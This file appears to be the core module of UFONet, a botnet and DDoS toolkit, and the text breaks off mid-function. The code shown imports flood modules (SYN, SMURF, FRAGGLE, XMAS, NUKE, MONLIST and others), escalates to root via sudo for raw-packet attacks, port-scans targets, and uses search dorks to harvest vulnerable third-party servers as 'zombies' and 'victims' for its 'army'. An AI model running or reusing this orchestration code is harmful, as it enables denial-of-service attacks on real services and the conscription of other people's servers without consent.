"""
This file is part of the UFONet project, https://ufonet.03c8.net
Copyright (c) 2013/2024 | psy <[email protected]>
You should have received a copy of the GNU General Public License along
with UFONet; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os, sys, re, traceback, random, time, threading, base64, string, math
import io, socket, ssl, cgi, json, gzip
from hashlib import sha1, sha256
try:
from Cryptodome.Cipher import AES
except:
print ("\n[Error] Something wrong with -crypto- libs... Aborting!\n")
sys.exit()
try:
from urllib.parse import urlparse as urlparse
except:
from urlparse import urlparse as urlparse
try:
import urllib.request, urllib.error, urllib.parse
except:
print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
sys.exit()
from uuid import getnode
from random import randrange, shuffle
from .options import UFONetOptions
from .update import Updater
from .herd import Herd
from .zombie import Zombie
from .doll import Doll
from core.tools.inspector import Inspector
from core.tools.abductor import Abductor
from core.tools.ufoscan import UFOSCAN
from core.mods.loic import LOIC
from core.mods.loris import LORIS
from core.mods.ufosyn import UFOSYN
from core.mods.spray import SPRAY
from core.mods.smurf import SMURF
from core.mods.xmas import XMAS
from core.mods.nuke import NUKE
from core.mods.tachyon import TACHYON
from core.mods.monlist import MONLIST
from core.mods.sniper import SNIPER
from core.mods.ufoack import UFOACK
from core.mods.uforst import UFORST
from core.mods.droper import DROPER
from core.mods.overlap import OVERLAP
from core.mods.pinger import PINGER
from core.mods.ufoudp import UFOUDP
from core.mods.fraggle import FRAGGLE
DEBUG = False
class UFONet(object):
def __init__(self):
self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!'
self.blackhole = '46.163.118.220'
self.crypto_key = "U-NATi0n!"
self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet'
self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet'
self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/'
self.external_check_service1 = 'https://www.isitdownrightnow.com/check.php?domain='
self.external_check_service2 = 'https://isitdownorjustme.net/status/'
self.check_tor_url = 'https://check.torproject.org/'
self.check_ip_service2 = 'https://checkip.org/'
self.check_ip_service1 = 'https://ip.42.pl/ra'
self.agents_file = 'core/txt/user-agents.txt'
self.motherships_file = 'core/txt/motherships.txt'
self.zombies_file = 'botnet/zombies.txt'
self.aliens_file = 'botnet/aliens.txt'
self.dnss_file = 'botnet/dns.txt'
self.droids_file = 'botnet/droids.txt'
self.ucavs_file = 'botnet/ucavs.txt'
self.rpcs_file = 'botnet/rpcs.txt'
self.ntps_file = 'botnet/ntp.txt'
self.snmps_file = 'botnet/snmp.txt'
self.humans_file = 'botnet/humans.txt'
self.dorks_file = 'botnet/dorks.txt'
self.mothership_stats_file = 'core/json/stats.json'
self.timeline_file = 'docs/VERSION'
self.links_file = "data/links.txt"
self.streams_file = "data/streams.txt"
self.globalnet_file = "data/globalnet.txt"
self.nodes_file = "data/nodes.txt"
self.news_file = "data/news.txt"
self.tv_file = "data/tv.txt"
self.missions_file = "data/missions.txt"
self.board_file = "data/board.txt"
self.grid_file = "data/grid.txt"
self.wargames_file = "data/wargames.txt"
self.examples_file = "docs/examples.txt"
self.misc_file = "core/txt/misc.txt"
self.referer = ''
self.port = "8080"
self.mothershipname = "core/txt/shipname.txt"
self.default_mothership_name = "l4m3r-lulz/0\n"
self.mothership_model_file = 'core/txt/model.txt'
self.warping_path = '/var/www/ufonet'
self.warping_folder_permissions = 0o644
f = open(self.mothership_model_file)
self.mothership_model = f.readlines()
for model in self.mothership_model:
model = model.rstrip('\n')
self.mothership_model = model
f.close()
self.mothership_baptism()
self.head = False
self.payload = False
self.external = False
self.attack_mode = False
self.connection_failed = False
self.total_possible_zombies = 0
self.herd = Herd(self)
self.sem = False
self.db_flash = 0
self.total_aliens = 0
self.aliens_hit = 0
self.aliens_fail = 0
self.total_droids = 0
self.droids_hit = 0
self.droids_fail = 0
self.total_ucavs = 0
self.ucavs_hit = 0
self.ucavs_fail = 0
self.total_rpcs = 0
self.rpcs_hit = 0
self.rpcs_fail = 0
self.total_loic = 0
self.total_loris = 0
self.total_syn = 0
self.total_spray = 0
self.total_smurf = 0
self.total_fraggle = 0
self.total_xmas = 0
self.total_ufoack = 0
self.total_uforst = 0
self.total_droper = 0
self.total_overlap = 0
self.total_pinger = 0
self.total_ufoudp = 0
self.total_nuke = 0
self.total_tachyon = 0
self.total_monlist = 0
self.total_sniper = 0
self.total_zombies_failed_connection = 0
self.ctx = ssl.create_default_context()
self.ctx.check_hostname = False
self.ctx.verify_mode = ssl.CERT_NONE
self.nat_error_flag = "OFF"
self.trans_zombies = 0
self.scanned_zombies = 0
self.loadcheck_counter = 0
self.loadcheck_prev_size = None
self.loadcheck_prev_load = None
self.loadcheck_first_size = None
self.loadcheck_first_load = None
self.loadcheck_size_list = []
self.loadcheck_load_list = []
self.loadcheck_size_median = None
self.loadcheck_size_max = None
self.loadcheck_size_min = None
self.loadcheck_load_median = None
self.loadcheck_size_max = None
self.loadcheck_size_min = None
self.num_is_up = 0
self.num_is_down = 0
self.expire_timing = 30
self.extra_zombies_lock = False
self.ac_control = []
self.globalnet_msg_sep = "#$#"
self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
self.trans_5C = self.trans_5C.encode("latin-1")
self.trans_36 = self.trans_36.encode("latin-1")
def mothership_baptism(self):
if os.path.exists(self.mothershipname) == True:
f = open(self.mothershipname)
self.mothership_id = f.read()
f.close()
else:
self.mothership_ids = []
try:
f = open(self.motherships_file)
motherships = f.readlines()
f.close()
for ship in motherships:
ship = ship.encode("utf-8")
self.mothership_ids.append(base64.urlsafe_b64encode(ship))
try:
self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
except:
try:
self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n"
except:
self.mothership_id = self.default_mothership_name
except:
self.mothership_id = self.default_mothership_name
if len(str(self.mothership_id.upper())) > 20:
self.mothership_id = self.default_mothership_name
m = open(self.mothershipname, "w")
m.write(str(self.mothership_id.upper()))
m.close()
def create_options(self, args=None):
self.optionParser = UFONetOptions()
self.options = self.optionParser.get_options(args)
if not self.options:
return False
return self.options
def banner_welcome(self):
print(r" ____ ")
print(r" || / /\ \ || #===============================================#")
print(r" -(00)- + (XX) + -(00)- || ||")
print(r" || || O ==*~~~~~~*== 0 || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
print(r" -(00)- O|O (0) XX (0) -(00)- || ||")
print(r" || _____ |____\| (00) |/______|D___ || || |-> ZOMBIES # |-> LOIC ||")
print(r" O+!$(O)! (O) 0'----'0 (O) !(O)$!+O || |-> DROIDS # |-> LORIS ||")
print(r" |OO OO| .''.( xx ).''. |OO OO| || |-> ALIENS # |-> UFOSYN ||")
print(r" **+***.'.' +X|'..'|X+ '.'***+**. || |-> UCAVs # |-> XMAS ||")
print(r" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
print(r" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ || |-> DBSTRESS # |-> UFOACK ||")
print(r" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
print(r" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
print(r" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
print(r" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
print(r" _ | '### | =| | ###### | |= |' ### | _ || |-> FRAGGLE # |-> UFOUDP ||")
print(r"(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) || |-> SNIPER # ||")
print(r" * \ '._.' '. | \_##_/ | .' '._.' / * || ||")
print(r" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
print(r" .'_.-| YY |-._'. || ||")
print(r" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
print(r" + Class: PSYoPs / "+str(self.mothership_model)+" + || ||")
print(r" #|=============================================|#")
print("")
def banner(self):
print('='*75, "\n")
print("888 888 8888888888 .d88888b. 888b 888 888 ")
print("888 888 888 d88P Y888b 8888b 888 888 ")
print("888 888 888 888 888 88888b 888 888 ")
print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
print("888 888 888 888 888 888 Y88888 88888888 888 ")
print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
print(self.optionParser.description, "\n")
print('='*75)
def generate_exit_msg(self):
self.exit_msg = "Generating random exit... \n\n"
try:
f = open(self.misc_file)
m = f.readlines()
f.close()
self.exit_msg += " -> "+str(random.choice(m).strip())
except:
self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
def AI(self):
try:
import turtle as AI
print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
bg = random.choice(colors).strip()
t = AI.Pen()
AI.bgcolor(bg)
r = random.randrange(100,100000)
for x in range(r):
t.pencolor(colors[x%6])
w = random.randrange(100,1000)
t.width(x/w + 1)
t.forward(x)
l = random.randrange(50,1000)
t.left(l)
except:
print("[AI] %!$1#9#84#~... -> [Exiting!]")
pass
def round_float(self, num):
return str(int(round(num, -1)))[2]
def show_mac_address(self):
mac = getnode()
hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
return hex_mac
def show_ips(self):
import requests
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
private_ip = s.getsockname()[0]
s.close()
except:
private_ip = "Unknown"
try:
public_ip = requests.get(self.check_ip_service1).text
public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
except:
try:
public_ip = requests.get(self.check_ip_service2).text
public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
except:
public_ip = "Unknown"
return private_ip, public_ip
def try_running(self, func, error, args=None):
options = self.options
args = args or []
try:
return func(*args)
except Exception as e:
if DEBUG == True:
print(error, "error")
traceback.print_exc()
def checkeuid(self):
try:
euid = os.geteuid()
except:
print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
print("[AI] "+self.exit_msg+"\n")
sys.exit(2)
return euid
def start_ship_engine(self):
self.agents = []
f = open(self.agents_file)
agents = f.readlines()
f.close()
for agent in agents:
self.agents.append(agent)
self.user_agent = random.choice(self.agents).strip()
self.search_engines = []
self.search_engines.append('bing')
self.search_engines.append('duck')
if not os.path.exists("core/json/"):
os.mkdir("core/json/")
self.banner_welcome()
self.update_flying_stats()
chargo = self.check_mothership_chargo()
self.update_max_chargo(int(chargo))
self.generate_exit_msg()
def hmac_sha1(self, key, msg):
if len(key) > 20:
key = sha1(key).digest()
key += chr(0).encode('utf-8') * (20 - len(key))
o_key_pad = key.translate(self.trans_5C)
i_key_pad = key.translate(self.trans_36)
return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
def derive_keys(self, key):
key = key.encode('utf-8')
h = sha256()
h.update(key)
h.update('cipher'.encode('utf-8'))
cipher_key = h.digest()
h = sha256()
h.update(key)
h.update('mac'.encode('utf-8'))
mac_key = h.digest()
return (cipher_key, mac_key)
def decrypt(self, key, text):
KEY_SIZE = 32
BLOCK_SIZE = 16
MAC_SIZE = 20
mode = AES.MODE_CFB
try:
iv_ciphertext_mac = base64.urlsafe_b64decode(text)
except:
try:
padding = len(text) % 4
if padding == 1:
return ''
elif padding == 2:
text += b'=='
elif padding == 3:
text += b'='
iv_ciphertext_mac = base64.urlsafe_b64decode(text)
except TypeError:
return None
iv = iv_ciphertext_mac[:BLOCK_SIZE]
ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
mac = iv_ciphertext_mac[-MAC_SIZE:]
(cipher_key, mac_key) = self.derive_keys(key)
expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
if mac != expected_mac:
return None
aes = AES.new(cipher_key, mode, iv)
self.decryptedtext = aes.decrypt(ciphertext)
try:
self.decryptedtext = self.decryptedtext.decode('utf-8')
except:
pass
def run(self, opts=None):
if opts:
self.create_options(opts)
options = self.options
if not self.options.threads:
self.options.threads=5
self.sem = threading.Semaphore(self.options.threads)
self.start_ship_engine()
proxy = options.proxy
if options.proxy:
try:
pattern = r'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
m = re.search(pattern, proxy)
if m is None:
self.banner()
print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
return
else:
self.proxy_transport(options.proxy)
except Exception:
self.banner()
print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
return
if options.checktor:
url = self.check_tor_url
self.banner()
print("\nSending request to: " + url + "\n")
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
try:
if options.proxy:
self.proxy_transport(options.proxy)
req = urllib.request.Request(url, None, headers)
tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
if not tor_reply or 'Congratulations' not in tor_reply:
print("It seems that Tor is not properly set.\n")
print(("IP address appears to be: " + your_ip + "\n"))
else:
print("Congratulations!. Tor is properly being used :-)\n")
print(("IP address appears to be: " + your_ip + "\n"))
except:
print("Cannot reach TOR checker system!. Are you correctly connected?\n")
sys.exit(2)
if options.cryptomsg:
from core.tools.crypter import Cipher
print(" " + '='*44)
print(r" ")
print(r" ____...------------...____ ")
print(r" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
print(r" .' / / \ \ '. ")
print(r" |=====/o/======================\o\=====| ")
print(r" |____/_/________..____..________\_\____| ")
print(r" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
print(r" \__/_____\####/0213411543/####/_____\__/ ")
print(r" |===\!/========================\!/===| ")
print(r" | |=| .---. |=| | ")
print(r" |===|o|=========/ \========|o|===| ")
print(r" | | | \() ()/ | | | ")
print(r" |===|o|======{'-.) A (.-'}=====|o|===| ")
print(r" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
print(r" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
print(r" | _\o/ __ {.' __ '.} _ _\o/ _| ")
print(r" '''''''''''''''''''''''''''''''''''''' ")
print(r" + UFONet Crypter (AES256+HMAC-SHA1)")
print(r" (140 plain text chars = 69 encrypted chars)")
print(" " + '='*44 + "\n")
text = str(input("-> Enter TEXT: "))
input_key = str(input("\n-> Enter KEY: "))
key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
c = Cipher(key, text)
msg = c.encrypt()
msg = msg.decode('utf-8')
c.set_text(msg)
print("\n" + " " + '-'*44)
print('\n-> Ciphertext: [', msg, ']')
print('\n-> Length:', len(msg))
print("\n" + " " + '-'*44)
print('\n-> Key (share it using SNEAKNET!):', input_key)
print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
if options.shownet:
hex_mac = self.show_mac_address()
self.banner()
print("-> Network Info:")
print('='*44)
print("-"*35)
print("|- MAC Address :", hex_mac)
print("|" +"-"*34)
private_ip, public_ip = self.show_ips()
print("|- IP Private :", private_ip)
print("|" +"-"*34)
self.check_ip_services = [self.check_ip_service1, self.check_ip_service2]
self.check_ip_service = random.choice(self.check_ip_services).strip()
t = urlparse(self.check_ip_service)
name_service = t.netloc
print("|- IP Public :", public_ip +" | ["+name_service+"]")
print("-"*35)
print('='*75, "\n")
if options.xray:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
else:
if not options.xrayps:
options.xrayps = str("1-1024")
ports = options.xrayps
try:
portX, portY = ports.split('-')
try:
portX = int(portX)
portY = int(portY)
except:
portX = 1
portY = 1024
print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
except:
portX = 1
portY = 1024
print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
self.banner()
print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
print('='*22 + '\n')
try:
self.instance = UFOSCAN()
xray = self.instance.scanning(options.xray, portX, portY)
except Exception as e:
print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
if DEBUG == True:
traceback.print_exc()
return
if options.timeline:
f = open(self.timeline_file, 'r')
releases = f.readlines()
f.close()
self.banner()
print("-> Code timeline:")
print('='*44)
print("-"*35)
for r in releases:
print(r.strip('\n'))
print("-"*35)
print('='*75, "\n")
if options.examples:
f = open(self.examples_file, 'r')
examples = f.readlines()
f.close()
self.banner()
for e in examples:
print(e.strip('\n'))
if options.ufosyn:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.spray:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.smurf:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.fraggle:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.xmas:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.ufoack:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.uforst:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.droper:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.overlap:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.pinger:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.ufoudp:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.nuke:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.tachyon:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.monlist:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.sniper:
euid = self.checkeuid()
if euid != 0:
print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
if options.search:
zombies = []
if options.engine:
engine = options.engine
else:
engine = "duck"
try:
self.banner()
if not os.path.exists(self.humans_file) == True:
f = open(self.humans_file, 'w')
f.close()
lf = open(self.humans_file, 'r')
restored = lf.readlines()
zombies_restored = len(restored)
lf.close()
lz = open(self.zombies_file, 'r')
zombies_army = lz.readlines()
for zombie in zombies_army:
zombies.append(zombie)
lz.close()
if len(restored) > 0:
print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
if not self.options.forceyes:
backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
print('-'*25)
else:
backup_reply = "Y"
if backup_reply == "n" or backup_reply == "N":
print("\n[Info] [AI] Removing data stored and starting a new search...\n")
os.remove(self.humans_file)
zombies_restored = 0
print('-'*25 + "\n")
else:
print("\n[Info] [AI] Restoring data and starting a new search...\n")
print('-'*25 + "\n")
for zombie in restored:
zombies.append(zombie)
if options.allengines:
if options.ex_engine:
exclude = options.ex_engine.split(",")
for ex in exclude:
ex = ex.lower()
if ex in self.search_engines:
if len(self.search_engines) == 1:
pass
else:
self.search_engines.remove(ex)
for e in self.search_engines:
engine = e
print('='*44)
print(("\n[AI] Searching for zombies using: "+engine+'\n'))
print('='*44 + '\n')
self.options.engine = engine
try:
zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
if zombies_chain != None:
for zombie in zombies_chain:
if zombie not in zombies:
zombies.append(zombie)
except:
if zombies:
for zombie in zombies:
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
else:
if restored:
print('='*44)
print(("\n[AI] Searching for zombies using: "+engine+"\n"))
print('='*44 + '\n')
if restored:
try:
zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
if zombies_chain != None:
for zombie in zombies_chain:
if zombie not in zombies:
zombies.append(zombie)
except:
if zombies:
for zombie in zombies:
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
else:
try:
zombies = self.search_zombies(dork='', zombies_found=zombies)
except:
if zombies:
for zombie in zombies:
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
total_restored = zombies_restored
new_zombies = 0
f = open(self.zombies_file, 'r')
zz = f.readlines()
f.close()
zombies_found = []
for z in zombies:
if z.endswith(os.linesep):
z = z.replace(os.linesep, "")
if z not in zz and z+os.linesep not in zz:
new_zombies = new_zombies + 1
zombies_found.append(z)
print('='*62)
print("\n- Victims found:", len(zombies_found), "\n")
print(" - Restored:", total_restored)
print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
print('-'*32)
print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
print('='*62 + '\n')
if len(zombies) > 0:
if not self.options.forceyes:
check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
print('-'*25)
else:
check_backup_reply = "Y"
if check_backup_reply == "n" or check_backup_reply == "N":
if os.path.isfile(self.humans_file):
os.remove(self.humans_file)
print("\n[Info] [AI] Temporal data correctly removed...\n")
else:
with open(self.humans_file, "w") as f:
for z in zombies_found:
if z.endswith(os.linesep):
z = z.replace(os.linesep, "")
if z not in zz or z+os.linesep not in zz:
f.write(z+os.linesep)
f.close()
print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
print('-'*25 + "\n")
if new_zombies and new_zombies > 0:
if not self.options.forceyes:
check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
print('-'*25 + "\n")
else:
check_url_link_reply = "Y"
if check_url_link_reply == "n" or check_url_link_reply == "N":
print("[AI] "+self.exit_msg+"\n")
pass
else:
print("\n" + '='*44)
test = self.testing(zombies_found)
else:
print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
except Exception:
print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
if options.dorks:
if options.engine:
engine = options.engine
else:
engine = "duck"
try:
dorks = self.extract_dorks()
if not dorks:
return
zombies = []
self.banner()
if not os.path.exists(self.humans_file) == True:
f = open(self.humans_file, 'w')
f.close()
lf = open(self.humans_file, 'r')
restored = lf.readlines()
zombies_restored = len(restored)
lf.close()
lz = open(self.zombies_file, 'r')
zombies_army = lz.readlines()
for zombie in zombies_army:
zombies.append(zombie)
lz.close()
if len(restored) > 0:
print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
if not self.options.forceyes:
backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
print('-'*25)
else:
backup_reply = "Y"
if backup_reply == "n" or backup_reply == "N":
print("\n[Info] [AI] Removing data stored and starting a new search...\n")
os.remove(self.humans_file)
zombies_restored = 0
print('-'*25 + "\n")
else:
print("\n[Info] [AI] Restoring data and starting a new search...\n")
print('-'*25 + "\n")
for zombie in restored:
zombies.append(zombie)
total_restored = zombies_restored
if options.allengines:
if options.ex_engine:
exclude = options.ex_engine.split(",")
for ex in exclude:
ex = ex.lower()
if ex in self.search_engines:
if len(self.search_engines) == 1:
pass
else:
self.search_engines.remove(ex)
for e in self.search_engines:
engine = e
print('='*44)
print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
print('='*44 + '\n')
self.options.engine = engine
for dork in dorks:
print('='*22)
print("Dork:", dork)
print('='*22 + '\n')
try:
dorked_zombies = self.search_zombies(dork, zombies)
for zombie in dorked_zombies:
if zombie not in zombies:
zombies.append(zombie)
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
f.close()
except:
if zombies:
for zombie in zombies:
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
f.close()
else:
if restored:
print('='*44)
print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
print('='*44 + '\n')
for dork in dorks:
print('='*22)
print("Dork:", dork)
print('='*22 + '\n')
try:
dorked_zombies = self.search_zombies(dork, zombies)
if dorked_zombies != None:
for zombie in dorked_zombies:
if zombie not in zombies:
zombies.append(zombie)
except:
if zombies:
for zombie in zombies:
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
f.close()
new_zombies = 0
f = open(self.zombies_file, 'r')
zz = f.readlines()
f.close()
zombies_found = []
for z in zombies:
if z.endswith(os.linesep):
z = z.replace(os.linesep, "")
if z not in zz and z+os.linesep not in zz:
new_zombies = new_zombies + 1
zombies_found.append(z)
print('='*62)
print("\n- Victims found:", len(zombies_found), "\n")
print(" - Restored:", total_restored)
print(" - Dorked:", len(zombies_found) - total_restored, "\n")
print('-'*32)
print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
print('='*62 + '\n')
if len(zombies_found) > 0:
if not self.options.forceyes:
check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
print('-'*25)
else:
check_backup_reply = "Y"
if check_backup_reply == "n" or check_backup_reply == "N":
if os.path.isfile(self.humans_file):
os.remove(self.humans_file)
print("\n[Info] [AI] Temporal data correctly removed...\n")
else:
with open(self.humans_file, "w") as f:
for z in zombies_found:
if z.endswith(os.linesep):
z = z.replace(os.linesep, "")
if z not in zz or z+os.linesep not in zz:
f.write(z+os.linesep)
f.close()
print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
print('-'*25 + "\n")
if new_zombies and new_zombies > 0:
if not self.options.forceyes:
check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
print('-'*25 + "\n")
else:
check_url_link_reply = "Y"
if check_url_link_reply == "n" or check_url_link_reply == "N":
print("[AI] "+self.exit_msg+"\n")
pass
else:
print("\n" + '='*44)
test = self.testing(zombies_found)
else:
print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
except Exception:
print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
if options.autosearch:
try:
dorks = self.extract_dorks()
except:
print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
return
engines_list = self.search_engines
stop_flag = False
try:
self.banner()
print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
print('-'*25 + "\n")
zombies_found = []
lz = open(self.zombies_file, 'r')
zombies_army = lz.readlines()
for zombie in zombies_army:
zombies_found.append(zombie)
lz.close()
if not os.path.exists(self.humans_file) == True:
f = open(self.humans_file, 'w')
f.close()
lf = open(self.humans_file, 'r')
restored = lf.readlines()
zombies_restored = len(restored)
lf.close()
if len(restored) > 0:
print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
if not self.options.forceyes:
